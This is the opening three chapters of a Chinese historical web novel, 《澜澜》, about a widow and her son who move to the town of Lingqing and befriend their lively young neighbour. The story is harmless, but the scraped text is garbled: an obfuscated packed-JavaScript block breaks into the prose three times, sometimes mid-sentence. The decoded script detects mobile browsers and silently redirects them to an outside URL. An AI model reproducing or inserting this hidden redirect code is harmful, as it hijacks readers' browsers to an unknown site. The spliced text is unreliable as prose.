《澜澜》 1. 脆生生 1 灵清州依山傍水,繁华热闹的十里芙蓉街连通东西城门,街道平整宽阔,商铺鳞次栉比,中部有条闹中取静的积英巷。 巷子曲折窄深,有南北两个出口。芙蓉街南巷口两侧的沿街酒楼筑起高高的院墙,在中间形成一条笔直悠长的石板路,站在巷子口,可以一眼望见辛秀才家比墙头高出许多的桂花树。 中秋刚过,氤氲不散的桂花香气缠绕鼻端,丝丝缕缕,牵引着来人往巷子深处走去。 她那日就端坐在院子里练字,手边放一盏热气腾腾的桂花甜茶。早秋柔和的日光照亮半爿秀丽的脸庞,她突然停笔,清澈美丽的杏眸很认真的盯着某处,倏地面上一喜,扔下毛笔就往外跑。 “有马蹄声,定是哥哥回来了!” 辛知远正津津有味地读着手里的游记,未曾看她一眼,长臂一伸就把她拦腰抱回身旁,顺口回道:“你哥哥没钱买马,又想偷懒是不是?” 辛澜儿冲父亲吐了吐舌头,没骨头似的趴倒在他身上。 她不看书,歪头去看墙头黄澄澄的桂花,墙外高低不平的石板路上接连响起清脆的马蹄声,满载货物的马车拐进积英巷,马儿打了个响鼻,慢悠悠从家门口的桂花树下经过,最后到斜对门那家停下来。 可对面那宅子已空置一年有余。 她再也按捺不住心中的好奇,扭身挣开爹爹的臂弯。 门缝里漏出一颗圆乎乎的小脑袋往左前方看,恰好让她捕捉到消失在门内的白裙一角,然后她才把目光转向正在勤恳搬货的车夫和侧对着她站立的白衫少年。 那少年看起来和她哥哥一般大,十二三岁的年纪,身上带有长途跋涉的风尘,微垂的眉眼残留倦意,然而他的脊背是那样的笔直,模样又是那样的好看,皮肤亮如白瓷,唇染薄霜,睫染清辉,像棵新生的青竹一样干干净净站在车尾。 他听见开门声,偏首望来的那一眼带着锋利的冷淡。风儿轻轻飘,额边小缕碎发荡秋千似的从他眼前扫过,再荡回来时那双桃花眼眸已然带了笑。 这一笑,嘴角两边就露出两个浅浅的梨涡来。 辛澜儿渐渐愣了。 忽地院门大开,她飞奔过去,双手紧紧攥住他的衣袖,由衷地道:“哥哥…哥哥长得真漂亮。” 眼神发亮,口水快要流下来。 “我亲哥哥出远门尚未归来,老天爷眷顾我,竟又给我送来一个新哥哥。” 少年闻言长睫轻颤,速度快到让人察觉不到他有丝毫的变化,脸上的表情依旧是沉静亲和的。 他浅笑,接着转身走到车尾,探身去拿车厢里的包袱,就这样不动声色扯回了袖子。 辛澜儿的双手自半空中慢慢放下,目光始终追随着他的身影。 是很清瘦的一条人。 模样十分乖顺可亲,清风朗月般的气质,细心整理书籍的手指像初春的青葱,手背青筋浮动。 她想这双手写出来的字一定秀气极了。 她对这种沉静内敛的人有着天然的亲近感,认为自己有必要在他们面前展现出活泼且平易近人的一面,好让他们觉得这个世界是如此的美好。 所以她这时有点喋喋不休:“我叫辛澜儿,辛弃疾的辛,波澜壮阔的澜。哥哥叫什么?” 她双手捧起,很认真地说:“哥哥写在我手心里罢。” 少年的眼神睨向身侧肉乎乎的小掌心,那张十分具有亲和力的俊脸上终于出现了一丝裂缝。 “澜儿,”屋里传来年轻妇人略显不耐的声音,“怎么还不进来?” “哦!来啦。” 辛澜儿大声回应,风一般扫进去,独留少年在门外疑惑:我娘喊的人是我呀。 他唇边似有笑意,嘴角梨涡若隐若现。 辛澜儿则一路跑进堂屋,看见陌生的素衣妇人正用帕子掩住口鼻,手里胡乱挥舞着鸡毛掸子。 “太脏了太脏了,多少年没见过这么脏的地方了。” 那娇贵的美妇人秀眉蹙起,挺着细腰使劲往后仰,好似眼前漂浮的灰尘是可怖的毒烟。 辛澜儿停下脚步,听见紧随而至的新哥哥对那妇人温声喊了句母亲,她这才猛然发觉自己抢了别人的道儿,一时感到羞涩。 顾氏看见她也是一愣,走过来捏捏她的花苞头,笑道:“好可爱的小姑娘,你是谁家的孩子?” 她是如此的美丽可亲。辛澜儿的尴尬一扫而空,那股热情劲儿又上来了,笑容洋溢地道:“夫人安好,我是斜对门辛秀才家的女儿,我叫辛澜儿,辛弃疾的辛,波澜壮阔的澜。” 说到这里她羞涩垂眸:“方才我以为您在叫我呢,这才自己跑进来了,夫人莫怪。” 原来是邻居。顾氏笑道:“不怪不怪。我姓顾,你就叫我顾姨吧。” 又指着假装很忙的少年道:“这是我儿明雪澜,我们以后就要在这里长住了。” “真的么?那真是太好了!”辛澜儿高兴地蹦了蹦,看向明雪澜,“我以后就能天天看见漂亮的澜哥哥了!” 她满足地喟叹,语气徜徉,美好的蓝图在眼前徐徐展开。 明雪澜听见后眉头一跳,莫名感到一股无形的威压正在强势逼近。他假咳一声,借故离开:“母亲,我先去收拾您的屋子。” 那声音清泠悦耳,底色带着这个年纪应有的沙哑,像朔风裹着雪沙。 辛澜儿不自觉比较起两个哥哥的音色来,心道:“果然是新哥哥!连声音都比我那个旧哥哥的公鸭嗓好听多了。” 她目送他步入东屋,接着打量这间宅子。 积英巷里的宅子大同小异,青砖灰瓦,东面两间卧房,西面一间卧房并一间仓房。正中央的堂屋连通前后院,前院栽花种菜,后院豢养牲畜,厨房则是土砌墙茅草顶,单独建在前院里。 这间宅子许久没有住人,四处皆是肉眼可见的落尘,屋檐墙角结满蜘蛛网,院子里杂草疯长,破旧的竹椅像喝醉的酒鬼,胡乱歪倒在地上,小方桌旁的玉兰树早已不开花,蔫巴巴的没有生机,连带着整间屋子都软塌塌的没有人气。 她自觉干站在这里有些碍事,遂与顾氏打了个招呼便走了。 “爹爹!”她又像旋风一样风风火火蹿到辛知远面前,摇晃着他的胳膊兴奋道,“对面来了母子二人,都像仙子一样美丽!他们家里还没收拾好,灰尘有那么厚。” 她试图拉起辛知远:“爹爹快去做饭,中午就让他们来咱家吃。” 辛知远正看书看得津津有味,却被她紧紧抱住胳膊摇荡。他无奈放下书起身,想了想道:“还是你把午食送过去。” 辛澜儿自然没有意见。 既是待客便不能寒酸,幸好家中常备丰富的食材,辛澜儿很快抱着食盒去对面。 顾氏是个富贵身子,耐不住长途疲累,已经躺下休息。明雪澜则站在满院子的杂草里看着堆积成山的行李发愁,听见敲门声,恐扰了母亲清静,连忙转身去开门。 “澜哥哥。” 刚打开门就见辛澜儿的笑脸。 她怀里抱着五层食盒,手上还端着一盘馒头,门刚开了一条缝她便缩起肩膀挤了进来,径直往堂屋走。 明雪澜一脸懵的跟着她走。 “我爹爹做饭可好吃了,请你们尝尝。”辛澜儿边说边打开餐盒,浓厚的米香气顿时钻进人的鼻腔里,升腾的白烟几乎与她的肤色融为一体,模糊了她的脸庞。 “我多盛了些米饭,吃不完的话晚上可以拿来煮粥,配上馒头和腌菜就是一顿饭了。” 辛澜儿把饭食一一摆出。白米饭粒粒分明,菜是青红番椒炒鸡蛋、葱花椒盐小酥肉、油润酸辣土豆丝,另有味道鲜美的鲫鱼豆腐汤和清脆爽口的腌萝卜。 明雪澜看着满桌的饭菜咋舌。 他是谋而后定的人,早就打听过灵清州的情况。这里自前朝起便是南北漕运的咽喉之地,每年约有四百万石的粮食途经灵清北上。商人行商运货,也以灵清为中转地,从南方运来茶叶瓷器和丝绸纸张,从北边儿运走棉花豆类和干鲜果品,大批的白银和票子在这里进进出出,酒楼商铺里的算盘声比年节时候的烟花爆竹还要响。 去岁,灵清钞关为朝廷征收八万三千两税银,居本朝八大钞关之首,是以灵清州人物富庶,为天下佳丽之地。 辛澜儿她爹又是秀才,既能读书,想必家底不薄,但明雪澜还是惊讶于父女俩的古道热肠,他们在吃食上是一点儿没含糊。 辛澜儿笑道:“哥哥和顾姨趁热吃,我先走了。” 她说完就往外走。明雪澜情急之下给她作了个揖:“多谢…妹…妹妹,稍后我把碗筷洗净送家去。” “哎呀…不着急,你们吃晚饭还要用呢。” 明雪澜扫了眼空荡荡的房屋,心道她说得对,只好再次感谢她的贴心。 送她出门。辛澜儿笑着向他挥了挥手,他回之一笑,心里大大松了口气。 无亲无故,他不知如何回应她浑身上下洋溢的热情,是以当他拿着薄礼站在辛家门前时,又把松下去的那口气提了上来。 却是辛知远来开的门。 他比明雪澜想象中要年轻许多, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17585151|205208||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面白无须,个子很高,身材可以称得上精瘦,是个相貌端秀,气质儒雅的读书人。 他看到明雪澜时有些疑惑,明白过来后笑道:“是对面的明小郎君吧?快进来说话。” 明雪澜不好推辞。两人在堂屋坐下,不见辛澜儿的踪影,想来是在午憩。 辛知远煮茶待客,闲时叙话:“我听澜儿说郎君与令堂要在灵清长住,你们从哪里来?” 明雪澜道:“我与家母自淮安走水路来。路途遥远,家母路上受了风寒,不便见人,特意嘱咐我来谢过先生。” 他双手送上两个油纸包:“这些蜜桃干和栗子糕是从淮安家里带来的,请澜儿妹妹尝尝。” “唷,都是澜儿爱吃的。”辛知远甚是高兴,双手接过来,“那我就替她谢过郎君了。” “先生言重,若澜儿妹妹喜欢,我再送些来。” 辛知远含笑点头,心道这少年温和文雅,举止有礼,便问:“郎君可曾读过书?” 明雪澜点头道:“去年春刚考了府试。” “可有名次?” “淮安府一等六名。” 大概是为人师表的都喜见好学生,辛知远蓦地激动起来,算了算日子:“明年灵清州将举办第二场院试,郎君可要参加?” 明雪澜面露苦涩:“家父三月前病逝,我需守孝三年,期间不得参加科举,且为了以后考试方便,还要先把户籍迁到灵清。” 不然每逢科举都要回到六百里外的淮安。 那为什么会离开淮安呢? 明雪澜的父亲,一个少年家贫,早早外出打拼才挣得偌大一份家业的男人,靠自己养着家里上上下下十余口亲戚和他们的家人,在淮安也是叫得出名字的大商贾,与顾氏夫妻恩爱十几载,因心疼妻子怀孕劳累辛苦,故只得明雪澜一个独子。 原本是想让儿子继承家业的,谁知儿子在读书这件事上竟颇具天分,明父便想让儿子以后走仕途,从未教导过他生意上的事。 顾氏更是个不操心的享福命。 所以当叔伯婶子私吞了他家的田产铺子时,明雪澜才知道家中资产有多丰厚。 然而已经于事无补。 起初几位叔伯婶子表面功夫做得很足,对弟媳和侄子吃喝优待,可日子久了,终究藏不住心底真实的贪念,总想将明父的财产彻底据为己有。 他们先是设计造谣顾氏与人私通,又暗地里雇人疯传明雪澜不是明父的亲生子,局势愈演愈烈,终于成功将母子二人从族谱里除名,并在一个雨夜,将母子俩赶出明家。 若不是明雪澜的贴身小厮忠儿从明家偷出二十两银子给他们,母子俩当晚怕是要流落街头了。 明雪澜要带走忠儿,可忠儿说:“我是家生的奴才,跑不掉的,少爷和夫人快走吧。” 何况他只有十岁,还是贪恋家的年纪,即便他家里人对他并不好。 说到去哪儿,顾氏欲投奔扬州母家,但转念一想,双亲俱已不再,人生已无归途,几个兄弟也都各自成家,去谁家呢? 竟无去处。 这时忠儿左右张望,急匆匆从怀里掏出一把揉乱的纸塞到明雪澜手里,嘱咐道:“少爷,这是老爷去岁卖货途径灵清买下的一间宅子,房契一直在我爹手里,我偷出来了,你们就到灵清去。” 这才有了去处。 可忠儿第二天就被明家活活打死。 因为他不仅偷银子和房契,还偷走了顾氏名下两家绸缎铺的地契,那是明父当年给顾氏添的嫁妆。 忠儿偷地契这事是在明雪澜卖掉那两间铺子的时候被明家发现的。 行前那日,明雪澜在桌前坐了一夜,翌日上船前给了乞丐们厚厚一叠纸和几十文钱,纸上写的是三个叔伯后宅内院里见不得人的丑事。 大叔伯谄媚权贵,二叔伯重欲好色,三叔伯精明贪财。他们强占土地,手里落过人命,勾结山匪逼良为娼,放过印子钱……数不胜数的肮脏事。 明雪澜另写三封信,一封差人送到淮安府衙,另外两封差人送给明家在生意场上的死对头。 幸好明雪澜的父亲知道自家兄弟都是什么人品,凡事不和他们牵扯,否则明雪澜不敢冒险写这三封信,以防明家人把他们造的孽都推到他离世的父亲身上。 反正死无对证。 只可惜明父去得急,没来得及为珍爱的妻儿做打算。 不知那三封信在淮安引起了怎样的轩然大波,但明家想要脱身,必定要花大钱消灾。 就让他们狗咬狗,自个儿掰扯去吧。 2. 脆生生 2 明雪澜回到家中,顾氏把他叫来自己屋里。 她其实未染风寒,只是不想见外人,叫明雪澜过来是让他午后外出采买家用。母子二人在灵清无亲无故,还需带上礼品拜访邻里,打理好关系,以便日后有个帮衬。 明雪澜点头,又想起什么:“母亲还是叫我九郎罢,不然又要闹笑话。” 顾氏不悦道:“你已不是明家人,才不要排他明家的序齿。” 又想着,怕不是她这儿子不愿和女孩家共用一个小名?便道:“那娘叫你澜哥儿罢。欸,澜哥儿和澜姐儿,倒是相配。” 顾氏把自己逗乐了。 明雪澜无奈道:“母亲……” “好了好了。”顾氏强忍笑意,“只是说笑罢了,娘知道你如今最紧要的是读书。” 明雪澜也是没招儿,只想做点什么转移他娘的注意力,便起身去拿纸笔。 母子俩先把家里现有的东西简略规整,记下要买的家俱物什。 明雪澜拿着清单和银子出门,待走到辛家门前的桂花树下,右边吱呀一声门响。他心里突然一紧,别又是那位热情过头的澜儿妹妹才好。 所谓怕什么来什么。 “澜哥哥!” 明雪澜僵着身子,转身浅笑道:“澜儿妹妹。” “哥哥这是要去哪儿?”辛澜儿像头横冲直撞的小蛮牛,欢快地蹦跳到他身边,小手紧紧抓住他的两条胳膊,“澜儿陪你。” 明雪澜心道:“真的是你陪我,不是我陪你么?”嘴上却道:“我去街上备置东西,或许晚间才回,妹妹还是留在家中。” 辛澜儿却来了精神:“我知道哪里卖的东西物美价廉,我带哥哥去。” 说完不等明雪澜反应,她回头对着家门的方向喊道:“爹爹,我去陪雪澜哥哥买东西了。” 辛知远在屋里懒懒应了声。 这厢辛澜儿已经悄然握住明雪澜的手。 察觉到那手僵了一瞬,又想挣脱走,辛澜儿不高兴了,板着张小脸:“这附近是灵清最热闹的地方,哥哥不牵着澜儿的手,万一澜儿走丢了,或是让拐子拍走了怎么办?” 明雪澜听见这话更是慌张,没有细想便抽回自己的手:“多危险啊,妹妹快回家,我自个儿去就成。” “呜呜……” 细碎的呜咽声传进明雪澜耳朵里,他一怔,弯腰查看,就见辛澜儿微垂着头,委屈巴巴地瘪着嘴,圆溜溜的杏眼快要兜不住亮晶晶的泪珠,模样无辜又可怜。 中午刚吃了人家的饭,下午就把人家惹哭了。 明雪澜此刻真觉得自己做了什么天大的坏事,蹲下身来想给她擦眼泪,可那眼泪又没落下来,他便不知如何是好了。 他叹口气:“那…一起去罢。” “好!”辛澜儿抬头便是一张笑眼弯弯的脸,哪里还有半分要哭的样子。 明雪澜哭笑不得,正想说他们可以一起去街上,但还是不要牵手了罢,那厢辛澜儿已然美滋滋重握住他的手。 他没办法,只好随她去。 诚如辛澜儿所说,她对灵清城很是熟悉。床和桌椅这类大件家俱不必再买,她便牵着明雪澜的手去西街郝记棉花铺买了四床八斤重的棉被并两个菊叶纹软枕,又在隔壁布匹店扯了几尺棉布做床品,接着拐去临街的刘记粮油铺买米面油盐酱醋,再去大槐树下柳婶子家的杂货铺子,把牙刷牙粉、浴桶脸盆、布巾帕子、澡豆皂荚,茶具炊具等家常杂物一齐买全,统统让店家送到家里去。 “哥哥还需要什么?“辛澜儿这半日跑前跑后,几缕汗湿的碎发紧紧贴在额头鬓角,双眼却仍熠熠发光。 明雪澜犹豫片刻,还是从袖中取出自己的方帕给她擦汗,又见她嘴唇起了薄皱,便不去想还要买什么东西,只笑道:“已经齐了,咱们去找地方喝口茶。” 要喝茶水,就要去码头边的夏婆婆茶铺,把春日里的蔷薇花拿来做香气清幽的蔷薇露;夏日的荷叶和茯苓一起泡茶,消暑健脾;秋日有甜滋滋的桂花饮和润肺的梨汤;冬天有热乎乎的酒酿圆子和金橘熟水。 辛澜儿挨着明雪澜坐下,轻车熟路地要了两碗桂花饮。 夏婆婆见明雪澜眼生,笑问:“哦唷!这么俊俏的小郎君,澜姐儿从哪儿找来的?” 辛澜儿扬起小下巴,骄傲道:“这是我们家对面新搬来的雪澜哥哥,如今是我的新哥哥了。” “哎呦呦……”夏婆婆忍俊不禁,“什么新哥哥、旧哥哥的,游哥儿才走了多久啊,你这就认新哥哥了?” 辛澜儿哼道:“他走了三个月都舍不得回家来,可见心里没我,那我也不要他了。” “还挺记仇。”夏婆婆捏捏她鼓囊囊的小脸,“那要是你游哥哥还在家,你最喜欢哪个哥哥啊?” “嗯…看心情罢。”辛澜儿居然抱着胳膊认真思考起来,又来了劲儿似的假模假样地哼道,“到时他定要拿些好吃的来收买我,不然我可不依。” 夏婆婆心中了然,点头笑道:“看来还是更喜欢自家亲哥哥。” “不要说出来嘛!”辛澜儿连连跺脚,心虚地瞄了一眼旁边的明雪澜。 新哥哥可千万不要生气呀。 明雪澜表面无波,垂眸专心喝桂花饮,将她们说的话都静悄悄听了去。 他其实不喜欢喝这种甜饮子,更喜欢浓厚回甘的天山绿茶,但如今这甜腻腻的桂花饮也让他喝出了些许涩味。 “妹妹喜欢吃什么?”他忽然侧头问,“新哥哥给你买。” 辛澜儿晃悠着小手兴奋道:“我喜欢吃甜甜的东西,最喜欢桂花糯米糕。” 明雪澜笑道:“那咱们现在去买?” “好!”辛澜儿高兴得手舞足蹈。 明雪澜看着她弯弯的笑眼,心想她怎么那么好哄啊。 她那么容易快乐,他也更容易得到满足。 如此想来,身边有这么一个甜心妹妹似乎也不错。 两人直到天黑才慢悠悠回到积英巷,笑着在桂花树下挥手告别。 明雪澜推开门,店家已经把他购置的物什全部送来,满满当当堆了一院子。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17585152|205208||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 顾氏叉着腰,愁眉苦脸地站在锅碗瓢盆中间,见到明雪澜推门而入,瞬间两眼放光。 “儿子!那个…娘有点儿不舒服,要不你来收拾?” 于是,顾氏很是悠闲地坐在堂屋享受儿子带回来的桂花糯米糕。明雪澜则把被褥抱进东屋给她铺床,母子俩聊着闲话。 顾氏神情洋溢:“灵清这地方不错,买了这么多东西才花了不到十五两银子。” 明雪澜抖着手里的棉被,笑道:“我与澜儿妹妹一起去买的,她帮我省下许多钱。” 顾氏脑海里浮现出辛澜儿笑弯了的眼睛,还有中午那顿美味丰盛的饭菜,点头笑道:“她倒是个热心肠的好姑娘。” 明雪澜“嗯”了声,收拾好床铺也来堂屋坐下,拆开一个油纸包,里面有四个热气腾腾的白面包子。 他拿起其中一个山菇青菜包,吹一吹咬下去,野山菇的鲜味和小棠菜的清甜巧妙融合,口中顿时香气四溢,让他不禁感叹烟火生活的美妙。 顾氏是不会打理家务的,泡完脚就躺下了,家里大大小小的事都要靠明雪澜。 从淮安带来的行李和新买的东西乱七八糟堆在一起,根本不知如何下手。 明雪澜站在院子里直发愣,人还是那个人,只是魂魄早已飞出九霄云外了。 他捏捏眉心,捋起袖子决定大干一场,好让自己明天再也不会生出这样的烦恼。 他先铺床,万一中途太过劳累能够倒头就睡,再从后院的井里打桶水拎去厨房,明天做早饭要用,擦擦洗洗,搬来米面放在各自的位置。累是真累,却越干越起劲。他甚至拿出了对待读书的严谨态度,所有的东西必须整齐有序,筷子要朝一个方向摆放,摞起来的碗,上面的花纹要能连成一条直线。 等一切都收拾好,已是亥时末。他从厨房走出,停驻在寂静空荡的院子里,清柔的月光把他单薄的身影拉长。 他深吁一口气,卸下满身的疲惫。 仰头看,长空皓月,小风斜露,小巷深处有狗吠声,微凉的秋风送来阵阵桂花香。 他的视线越过墙头,看向对面那棵据说活了四十多年的桂花树,晦暗的月色下隐约可见一簇簇小黄花。 一棵树,比许多人都要活得久。 微风吹着落叶在他面前打了个旋儿,早秋寒凉的空气钻进肺里,遍体生寒。他第一次清楚地意识到,自己真的来到了一个完全陌生的地方,身边只有母亲。 * 翌日,明雪澜比平时晚起了两刻钟,金灿灿的阳光斜打在床侧墙上,他在睡眼朦胧间发现月洞门架子床的红木床顶不见了,吓得从床上猛地挺起来,下意识去摸藏在枕头下的短刀,足足愣了好一会儿,才想起这不是淮安家里。 顿时松口气,慢悠悠穿衣服,给自己倒了杯凉茶,手托杯底,施施然走到窗前,推开窗深吸一口阳光的味道,却有呛人的焦糊味钻入鼻腔。 他探身看去,东面厨房里浓烟滚滚,从缥缈的雾气里跑出来的,不是仙姿玉貌的广寒仙子,而是他灰头土脸的亲娘。 3. 脆生生 3 厨房弥漫着呛人的灰烟,墙面被火燎得黑黢黢。顾氏灰头土脸的站在院子里,只敢低着头,不停偷瞟厨房门口阴沉着脸的儿子。 她知道明雪澜和他爹一样,父子俩深藏不露,平时不发火,发起火来吓死人。 她干巴巴地解释:“锅里在煮粥,我就回屋躺了会儿,没想到……” 真是没脸说下去了。 明雪澜颌线紧绷,好长时间才开口说话,声音又冷又硬:“早先就说过,家务饭食都由我来做,您为何不听?” 顾氏抬头,两眼泪汪汪的。 她今早起来看见家里被收拾得井井有条,就知道儿子昨晚没少干活,心疼得不行,放在以前,那都是丫鬟小厮们干的活,哪里需要他费力来做。 也怪自己不争气,四体不勤五谷不分,以前当姑娘时仗着年轻貌美一心想嫁入高门,凡事不稀罕劳动自己那一双春葱般的嫩手,后来真真高嫁了,却只享了十三年的清福,如今虽不至于百无一通,但颇有些笨手笨脚。 顾氏忍着泪低声抽噎,明雪澜再大的火气也渐渐消了。 母亲不止是因为粗心烧了厨房才哭,还因为想到了他们孤儿寡母孤立无援的境地。 他无声吐出一口浊气,扶顾氏坐下,又拧来布巾给她擦脸,蹲下/身来温声道:“母亲,儿子不该与您置气,只是怕火势太大伤到您……您别怪儿子,今日是我起晚了,以后不会了。” “娘没怪你。”连日积攒的愁苦终于倾泻而出,顾氏泪如雨下,紧抓住儿子的手,“你爹不在了,你还是个孩子,又要刻苦读书,又要包揽家务,娘心里多难受……我、我也要出份力的。” 明雪澜垂眸,像是在对自己说话:“我一人也能照顾好您。” 顾氏呜呜哭着,未几狠狠抹了把泪,下定决心道:“以后我管内,你管外,咱娘俩也能把日子过好!我这就去重新煮粥。” 说完就要起身,明雪澜拦住她,摇晃着母亲的手笑道:“今早是咱们第一次在新家做饭,母亲就让儿子表现表现罢。” 他从前没有这样撒娇的姿态,就算惹他生气,他也是绷着嘴不理人,但又要在你面前无声转悠,但凡你不瞎,就能看到他不高兴了,要人去哄他。 顾氏自然懂得他的心思,破涕为笑,拉长声音道:“好——” 明雪澜重新洗锅煮粥,估摸着时间到了,掀开锅盖一看。 嚯!好大一锅米饭! 他拿着锅盖站在灶前发呆,时间仿佛凝滞了般,良久他高喊了声:“母亲……” 可惜顾氏只会惊叹道:“天呐!好多米啊……” 米多水少,这是一顿夹生饭,好在有辛澜儿昨天送来的馒头和腌萝卜,早饭就这样简单解决了。 明雪澜一边刷碗一边思考改迁户籍的事。 其实本朝商旅繁茂,人口流动大,户籍制度并不严格,除了京籍需要在京城居住劳作七年才能获得,其他地方只需在当地居作一年即可办理。 对于有财有权的人来说,迁户是一件不值得上心的小事,可明雪澜显然是一只落难凤凰。他也不想让顾氏辛苦劳作供自己读书,何况顾氏自己也做不来苦活。 明雪澜便想在灵清买地。 本朝律法规定,若在当地购房置田,当即就可以去官府办理户籍。 顾氏听他这么说,生怕耽误儿子将来登科入仕,赶紧催他去牙行,找牙人介绍买地。 明雪澜却道:“不若我先去问问辛先生?他是土生土长的灵清人,多少了解些行情。” 顾氏愣了愣,不住地点着手指:“对对对,先问过辛秀才。你我都是老实人,可别被牙人给忽悠了。” 明雪澜笑而不语,略略休息了会儿便去夏婆婆的茶铺买了两份木瓜渴水,用竹筒装着拎回积英巷。 屋内,辛澜儿听见有人敲门,大声喊道:“谁呀?不说不开!” 明雪澜仿佛看见了她双手叉腰,扬起小下巴故作凶狠的模样,不禁笑道:“是我。” 噔噔噔的奔跑声传来,门刚打开辛澜儿便扑了上来,一把抱住明雪澜的腰。 “澜哥哥你来啦!”软乎乎的脸蛋小猫似的蹭着明雪澜的胸口,让他的心有些痒痒的。 他到底顾忌男女大防,探头往屋里看:“辛先生呢?” “爹爹去书院授课了,他说今日书院事情多,要晚间才能回呢。” 既然她爹不在,明雪澜便不着急把她推开,倒是辛澜儿先放开了他,乐颠颠地牵起他的手进屋。 巳时的日头正盛,照得周身暖意融融,厨房对面的院墙覆满绿油油的蔷薇藤蔓,墙下有半块菜地半块花圃,鲜花蔬果皆被主人家悉心照顾,秋日盛放的菊花、玉簪花,月桂交相辉映,清幽的花香如丝如缕,此间好似神居仙境。 院中还有棵半丈高的木芙蓉树,粉白花苞将开未开。辛澜儿就坐在树下,双手捧着脸,杏眼亮晶晶地问:“哥哥是来找我的么?” “是啊。” 他把竹筒往她面前推:“给你买的。” “谢谢哥哥!” 她果然高兴极了,双手各握一个竹筒,兴奋地看来看去,低声自言自语:“两个一样,那就……一个现在喝,一个晚上喝,嗯!就这样安排。” 明雪澜手撑着下巴,眼带笑意看她。 不过是两份甜水罢了,她这副满足模样倒是让人心里欢喜。 又忽地想起一件事:“辛先生中午不在,你怎么吃饭呢?” “哥哥你还不知道吧?”辛澜儿扬起一边眉毛,“我会做饭。” 其实她只会烧柴火。如果她哥哥在家,那她连烧锅的活都抢不到,怎么会做饭呢? 不过明雪澜显然相信了她的话,又想起自己早上做的那一大锅夹生米饭,发自内心地低声道:“妹妹厉害。” 辛澜儿笑得更开心了。 明雪澜心里还惦记着读书,不敢多待,理了理袍摆,起身道:“我回家去了,妹妹有空来家玩儿。” 辛澜儿眼睛一亮又一暗,急急摆手道:“我就不去了,爹爹说,不能打搅哥哥读书。” 明雪澜笑道:“无妨,我母亲在家无人作伴,你去了她也开心呢。” 辛澜儿急忙站起来,高兴道:“真的么?我随时都可以去哥哥家里吗?” 明雪澜笑:“嗯,真的。” “太好了!我一定会去的。” 她是一个诚实又守信的人。 * 秋日午后的阳光总像小猫伸懒腰,是宁静且慵懒的,晒得人昏昏欲睡,脚边不断移动变幻的斑驳树影提醒着时光的流逝,如此轻而易举地勾起人的回忆。 顾氏撑着下巴坐在干枯的玉兰树下,想到往昔郎情妾意的恩爱时光,顾氏心中愈加苦闷,忽然听见门栓轻响,门外似乎有人刻意压低了声音:“顾姨…顾姨…” 顾氏起身去开门,一大片绿叶红花迎面撞过来,唬得她往后退了一大步。 “天爷,这、这是什么呀?” 辛澜儿的笑脸从层层花叶后面闪出来,怀里鼓囊囊的大布包快要掉下来,她赶紧弓起右腿顶住,急声道:“快,顾姨快帮我拿一下。” 顾氏赶紧接过,迎她到院子里坐。 明雪澜正坐在窗下读书,听见外面的动静,抬眸看过来,辛澜儿穿着桃红半袖碧色襦裙,模样灵俏,笑容明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17585153|205208||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 媚。 他静静看了她一会儿,然后放下书本起身,理理衣袍,慢步走出门去。 “妹妹来了。” 辛澜儿闻言望过来:“嗯,来啦。” 她正与顾氏说话,嘴角还残留着笑意,却并不走近,只摆手笑道:“哥哥快去读书不用管我,我与顾姨有大事要做。” 明雪澜不明所以。 顾氏满脸喜悦地解释:“澜姐儿拿来不少花,给我们装饰院子用。” “是么,”明雪澜走过来,笑意款款,“都有什么?” 辛澜儿兴致勃勃地介绍:“这几株白色的是我从西麓山挖来的野百合,还有石竹苗和今年新扦插的木芙蓉。” 她把竹桌上的灰布包完全展开:“余下都是不同品种的菊花了,有珊瑚红牡丹菊,紫色双飞燕,一团雪和黄鹤翎,都是刚从我家花圃里挖出来的,可以直接种下。” 顾氏摸着色彩绚丽的花瓣,爱不释手。 辛澜儿看向顾氏,笑道:“我昨日就闻见顾姨身上有花香气,好似神妃仙子,当时就想把花送来了,想着仙子和花最是相配。” 顾氏听完心里如同喝了蜜,以手掩嘴,止不住地笑。 明父去后,顾氏表面无状,但眼角眉梢总有一股解不开的忧愁,如今总算真心实意的笑了。明雪澜见之,积攒在心中的担忧也云消雾散,心里想着如何才能让辛澜儿常来家里。 辛澜儿还带来不少菜种,都是自家播种后剩下来的,有白菜、萝卜、荠菜、菠菜、芫荽、胡葱、豌豆,蒜粒…… 顾氏看着那一包包菜种,鼻头发酸,眼眶涨热,想着辛澜儿小小的人儿,甚至不知他们母子俩的来历,却能对他们真心以待,照顾有加,而明家那帮亲戚却对他们孤儿寡母赶尽杀绝,恨不得让他们死了干净。 辛澜儿不知顾氏心中风云,她环顾四周,问道:“顾姨,我们在哪里栽花种菜?” 